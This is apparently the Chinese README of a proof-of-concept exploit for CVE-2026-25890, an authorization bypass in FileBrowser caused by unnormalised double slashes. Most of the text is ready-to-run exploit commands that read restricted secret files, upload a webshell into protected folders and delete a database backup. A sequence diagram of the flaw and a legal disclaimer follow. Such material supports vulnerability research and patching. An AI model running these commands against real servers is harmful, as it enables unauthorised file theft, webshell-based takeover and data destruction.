r.SkipClean(true)# 克隆仓库
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# 除标准库和 requests 外无其他依赖
pip install requests
python3 exploit.py --help
# 读取受限文件
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# 上传恶意文件到受限文件夹
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# 删除受限文件
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(正常请求)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: 攻击者尝试绕过
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → 不进行规范化)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: 允许 → 继续
Filesystem Handler->>Filesystem: 规范化 // → /private/secret.txt
Filesystem->>Filesystem Handler: 返回文件内容
Filesystem Handler->>Attacker: 200 OK + 机密内容此概念验证严格用于教育和安全研究目的。
请勿在未经所有者明确书面许可的情况下对任何系统使用此代码。
在大多数司法管辖区(如 CFAA、Computer Misuse Act),未经授权访问或修改系统属于违法行为。
漏洞利用作者:Mohammed Idrees Banyamer
国家:约旦
Instagram:@banyamer_security
如果你觉得有用,请给仓库点个星 ⭐!
最后更新:2026 年 2 月